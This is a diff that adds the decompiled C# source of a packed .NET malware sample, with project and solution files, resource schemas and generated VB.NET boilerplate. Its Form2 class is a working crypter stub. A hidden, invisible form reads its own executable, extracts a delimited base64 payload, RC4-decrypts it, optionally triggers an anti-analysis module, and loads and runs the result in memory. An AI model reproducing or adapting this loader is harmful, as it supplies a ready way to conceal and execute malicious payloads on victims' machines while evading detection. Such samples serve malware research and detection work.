+      this.AutoScaleMode = AutoScaleMode.Font;
+      this.ClientSize = new Size(10, 10);
+      this.FormBorderStyle = FormBorderStyle.None;
+      this.MaximizeBox = false;
+      this.MinimizeBox = false;
+      this.Name = "Form1";
+      this.Opacity = 0.0;
+      this.ShowIcon = false;
+      this.ShowInTaskbar = false;
+      this.StartPosition = FormStartPosition.Manual;
+      this.ResumeLayout(false);
+    }
+
+    private byte[] StringToByteArray(string str) => new ASCIIEncoding().GetBytes(str);
+
+    private void RunFromMemory(byte[] B8eWebFlcSW2IrL4WEPe)
+    {
+      Assembly assembly = Assembly.Load(B8eWebFlcSW2IrL4WEPe);
+      MethodInfo entryPoint = assembly.EntryPoint;
+      object objectValue = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(assembly.CreateInstance(entryPoint.Name))));
+      entryPoint.Invoke(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(objectValue))), new object[1]
+      {
+        (object) new string[1]{ "1" }
+      });
+    }
+
+    public static byte[] B8eWebFlcSW2IrL4WEPe(
+      byte[] HbgEYQDvrL6SjNNiBH0g,
+      byte[] UXIYXAheDU6Vw9hqXs06)
+    {
+      byte[] numArray = new byte[checked (HbgEYQDvrL6SjNNiBH0g.Length + 1)];
+      int[] z67O2y5qhGzkoVH0GujA = new int[257];
+      int index1 = 0;
+      int index2 = 0;
+      Form2.RC4Initialize(UXIYXAheDU6Vw9hqXs06, ref z67O2y5qhGzkoVH0GujA);
+      int num1 = checked (HbgEYQDvrL6SjNNiBH0g.Length - 1);
+      int index3 = 0;
+      while (index3 <= num1)
+      {
+        index1 = checked (index1 + 1) % 256;
+        index2 = checked (index2 + z67O2y5qhGzkoVH0GujA[index1]) % 256;
+        int num2 = z67O2y5qhGzkoVH0GujA[index1];
+        z67O2y5qhGzkoVH0GujA[index1] = z67O2y5qhGzkoVH0GujA[index2];
+        z67O2y5qhGzkoVH0GujA[index2] = num2;
+        int num3 = z67O2y5qhGzkoVH0GujA[checked (z67O2y5qhGzkoVH0GujA[index1] + z67O2y5qhGzkoVH0GujA[index2]) % 256];
+        HbgEYQDvrL6SjNNiBH0g[index3] = (byte) ((int) HbgEYQDvrL6SjNNiBH0g[index3] ^ (int) Convert.ToByte(num3));
+        checked { ++index3; }
+      }
+      return HbgEYQDvrL6SjNNiBH0g;
+    }
+
+    protected static void RC4Initialize(byte[] GFpecRKf61hgOb1yCqna, ref int[] z67O2y5qhGzkoVH0GujA)
+    {
+      int length = GFpecRKf61hgOb1yCqna.Length;
+      int index1 = 0;
+      do
+      {
+        z67O2y5qhGzkoVH0GujA[index1] = index1;
+        checked { ++index1; }
+      }
+      while (index1 <= (int) byte.MaxValue);
+      int index2 = 0;
+      int index3 = 0;
+      do
+      {
+        index2 = checked (index2 + z67O2y5qhGzkoVH0GujA[index3] + (int) GFpecRKf61hgOb1yCqna[unchecked (index3 % length)]) % 256;
+        int num = z67O2y5qhGzkoVH0GujA[index3];
+        z67O2y5qhGzkoVH0GujA[index3] = z67O2y5qhGzkoVH0GujA[index2];
+        z67O2y5qhGzkoVH0GujA[index2] = num;
+        checked { ++index3; }
+      }
+      while (index3 <= (int) byte.MaxValue);
+    }
+
+    private void Form2_Load(object L3ORFOEKJ5K715RBBjWz, EventArgs e)
+    {
+      string Delimiter = "iwanna/fuck/your/m0ther";
+      FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read);
+      string Expression = Strings.Space(checked ((int) FileSystem.LOF(1)));
+      FileSystem.FileGet(1, ref Expression);
+      FileSystem.FileClose(1);
+      try
+      {
+        string[] strArray = Strings.Split(Expression, Delimiter);
+        string s = strArray[1];
+        byte[] bytes = Encoding.ASCII.GetBytes(strArray[2]);
+        if (Operators.CompareString(strArray[3], "true", false) == 0)
+          Antis.Enable();
+        byte[] parameter = Form2.B8eWebFlcSW2IrL4WEPe(Convert.FromBase64String(s), bytes);
+        Thread thread = new Thread((ParameterizedThreadStart) (a0 => this.RunFromMemory((byte[]) a0)));
+        thread.TrySetApartmentState(ApartmentState.STA);
+        thread.Start((object) parameter);
+        this.Close();
+      }
+      catch (Exception ex)
+      {
+        ProjectData.SetProjectError(ex);
+        ProjectData.ClearProjectError();
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/Form2.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/My/MyApplication.cs

@@ -0,0 +1,48 @@
+// Decompiled with JetBrains decompiler
+// Type: google.My.MyApplication
+// Assembly: factory, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6C269FFA-7C43-4E16-ABEF-8CC516D7ABAB
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Windows.Forms;
+
+namespace google.My
+{
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  internal class MyApplication : WindowsFormsApplicationBase
+  {
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerHidden]
+    [STAThread]
+    internal static void Main(string[] Args)
+    {
+      try
+      {
+        Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
+      }
+      finally
+      {
+      }
+      MyProject.Application.Run(Args);
+    }
+
+    [DebuggerStepThrough]
+    public MyApplication()
+      : base(AuthenticationMode.Windows)
+    {
+      this.IsSingleInstance = false;
+      this.EnableVisualStyles = true;
+      this.SaveMySettingsOnExit = true;
+      this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
+    }
+
+    [DebuggerStepThrough]
+    protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form2;
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/My/MyComputer.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: google.My.MyComputer
+// Assembly: factory, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6C269FFA-7C43-4E16-ABEF-8CC516D7ABAB
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1.exe
+
+using Microsoft.VisualBasic.Devices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+
+namespace google.My
+{
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [EditorBrowsable(EditorBrowsableState.Never)]
+  internal class MyComputer : Computer
+  {
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [DebuggerHidden]
+    public MyComputer()
+    {
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/My/MyProject.cs

@@ -0,0 +1,212 @@
+// Decompiled with JetBrains decompiler
+// Type: google.My.MyProject
+// Assembly: factory, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6C269FFA-7C43-4E16-ABEF-8CC516D7ABAB
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.Collections;
+using System.ComponentModel;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Windows.Forms;
+
+namespace google.My
+{
+  [GeneratedCode("MyTemplate", "8.0.0.0")]
+  [HideModuleName]
+  [StandardModule]
+  internal sealed class MyProject
+  {
+    private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
+    private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
+    private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
+    private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
+
+    [DebuggerNonUserCode]
+    static MyProject()
+    {
+    }
+
+    [HelpKeyword("My.Computer")]
+    internal static MyComputer Computer
+    {
+      [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Application")]
+    internal static MyApplication Application
+    {
+      [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.User")]
+    internal static User User
+    {
+      [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Forms")]
+    internal static MyProject.MyForms Forms
+    {
+      [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.WebServices")]
+    internal static MyProject.MyWebServices WebServices
+    {
+      [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
+    }
+
+    [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class MyForms
+    {
+      public Form2 m_Form2;
+      [ThreadStatic]
+      private static Hashtable m_FormBeingCreated;
+
+      public Form2 Form2
+      {
+        [DebuggerNonUserCode] get
+        {
+          this.m_Form2 = MyProject.MyForms.Create__Instance__<Form2>(this.m_Form2);
+          return this.m_Form2;
+        }
+        [DebuggerNonUserCode] set
+        {
+          if (value == this.m_Form2)
+            return;
+          if (value != null)
+            throw new ArgumentException("Property can only be set to Nothing");
+          this.Dispose__Instance__<Form2>(ref this.m_Form2);
+        }
+      }
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T Instance) where T : Form, new()
+      {
+        if ((object) Instance != null && !Instance.IsDisposed)
+          return Instance;
+        if (MyProject.MyForms.m_FormBeingCreated != null)
+        {
+          if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
+            throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
+        }
+        else
+          MyProject.MyForms.m_FormBeingCreated = new Hashtable();
+        MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
+        try
+        {
+          return new T();
+        }
+        catch (TargetInvocationException ex) when (
+        {
+          // ISSUE: unable to correctly present filter
+          ProjectData.SetProjectError((Exception) ex);
+          if (ex.InnerException != null)
+          {
+            SuccessfulFiltering;
+          }
+          else
+            throw;
+        }
+        )
+        {
+          throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
+        }
+        finally
+        {
+          MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
+        }
+      }
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) where T : Form
+      {
+        instance.Dispose();
+        instance = default (T);
+      }
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public MyForms()
+      {
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyForms);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+    }
+
+    [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class MyWebServices
+    {
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyWebServices);
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public MyWebServices()
+      {
+      }
+    }
+
+    [ComVisible(false)]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class ThreadSafeObjectProvider<T> where T : new()
+    {
+      internal T GetInstance
+      {
+        [DebuggerHidden] get
+        {
+          if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
+            MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
+          return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
+        }
+      }
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public ThreadSafeObjectProvider()
+      {
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/My/MySettings.cs

@@ -0,0 +1,73 @@
+// Decompiled with JetBrains decompiler
+// Type: google.My.MySettings
+// Assembly: factory, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6C269FFA-7C43-4E16-ABEF-8CC516D7ABAB
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Configuration;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Threading;
+
+namespace google.My
+{
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
+  [CompilerGenerated]
+  [EditorBrowsable(EditorBrowsableState.Advanced)]
+  internal sealed class MySettings : ApplicationSettingsBase
+  {
+    private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
+    private static bool addedHandler;
+    private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
+
+    [DebuggerNonUserCode]
+    public MySettings()
+    {
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerNonUserCode]
+    private static void AutoSaveSettings(object sender, EventArgs e)
+    {
+      if (!MyProject.Application.SaveMySettingsOnExit)
+        return;
+      MySettingsProperty.Settings.Save();
+    }
+
+    public static MySettings Default
+    {
+      get
+      {
+        if (!MySettings.addedHandler)
+        {
+          object handlerLockObject = MySettings.addedHandlerLockObject;
+          ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
+          Monitor.Enter(handlerLockObject);
+          try
+          {
+            if (!MySettings.addedHandler)
+            {
+              MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
+              {
+                if (!MyProject.Application.SaveMySettingsOnExit)
+                  return;
+                MySettingsProperty.Settings.Save();
+              });
+              MySettings.addedHandler = true;
+            }
+          }
+          finally
+          {
+            Monitor.Exit(handlerLockObject);
+          }
+        }
+        return MySettings.defaultInstance;
+      }
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/My/MySettingsProperty.cs

@@ -0,0 +1,24 @@
+// Decompiled with JetBrains decompiler
+// Type: google.My.MySettingsProperty
+// Assembly: factory, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6C269FFA-7C43-4E16-ABEF-8CC516D7ABAB
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+
+namespace google.My
+{
+  [StandardModule]
+  [DebuggerNonUserCode]
+  [HideModuleName]
+  [CompilerGenerated]
+  internal sealed class MySettingsProperty
+  {
+    [HelpKeyword("My.Settings")]
+    internal static MySettings Settings => MySettings.Default;
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/My/Resources/Resources.cs

@@ -0,0 +1,46 @@
+// Decompiled with JetBrains decompiler
+// Type: google.My.Resources.Resources
+// Assembly: factory, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 6C269FFA-7C43-4E16-ABEF-8CC516D7ABAB
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Globalization;
+using System.Resources;
+using System.Runtime.CompilerServices;
+
+namespace google.My.Resources
+{
+  [StandardModule]
+  [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
+  [DebuggerNonUserCode]
+  [HideModuleName]
+  [CompilerGenerated]
+  internal sealed class Resources
+  {
+    private static ResourceManager resourceMan;
+    private static CultureInfo resourceCulture;
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static ResourceManager ResourceManager
+    {
+      get
+      {
+        if (object.ReferenceEquals((object) google.My.Resources.Resources.resourceMan, (object) null))
+          google.My.Resources.Resources.resourceMan = new ResourceManager("google.Resources", typeof (google.My.Resources.Resources).Assembly);
+        return google.My.Resources.Resources.resourceMan;
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static CultureInfo Culture
+    {
+      get => google.My.Resources.Resources.resourceCulture;
+      set => google.My.Resources.Resources.resourceCulture = value;
+    }
+  }
+}

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/Packed.MSIL.MSILPack.a.csproj

@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{1748498A-12F0-4C3E-AA8A-FB8E20A98B08}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>factory</AssemblyName>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+    <RootNamespace>google</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="System" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Antis.cs" />
+    <Compile Include="Form2.cs" />
+    <Compile Include="Y281K7e5KuU2N.cs" />
+    <Compile Include="Z8q3Cg016769VOMT0x.cs" />
+    <Compile Include="kJqkMB5u0dTn.cs" />
+    <Compile Include="j6WBmlbrpjY2wG4.cs" />
+    <Compile Include="DwIh7GIT19gfCS26l1rk1m73Ko.cs" />
+    <Compile Include="fRzWqFy516EFCGkyRE07ei2Ho9Uk9.cs" />
+    <Compile Include="y1mL7EFI309sMMsLD.cs" />
+    <Compile Include="gOriZ14byP11930PZkzkekG.cs" />
+    <Compile Include="hK4xQEY1lT1m49Cu05T5HqB8NKxQ7.cs" />
+    <Compile Include="mEeIhPgNvZ8H269vA61.cs" />
+    <Compile Include="ZF0q0hR9o8X9pf4On80a5k.cs" />
+    <Compile Include="Z0nAJuiQm35eXS7Ox.cs" />
+    <Compile Include="My\MyApplication.cs" />
+    <Compile Include="My\MyComputer.cs" />
+    <Compile Include="My\MyProject.cs" />
+    <Compile Include="My\MySettings.cs" />
+    <Compile Include="My\MySettingsProperty.cs" />
+    <Compile Include="My\Resources\Resources.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="Form2.resx" />
+    <EmbeddedResource Include="Resources.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/Packed.MSIL.MSILPack.a.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "factory", "Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1.csproj", "{1748498A-12F0-4C3E-AA8A-FB8E20A98B08}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{1748498A-12F0-4C3E-AA8A-FB8E20A98B08}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{1748498A-12F0-4C3E-AA8A-FB8E20A98B08}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{1748498A-12F0-4C3E-AA8A-FB8E20A98B08}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{1748498A-12F0-4C3E-AA8A-FB8E20A98B08}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Packed/MSIL/M/Packed.MSIL.MSILPack.a-544f698f7c22960b3b19a4c10ae86a6e4347ce78cd4acda7323e2ae33d4dd1f1/Resources.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
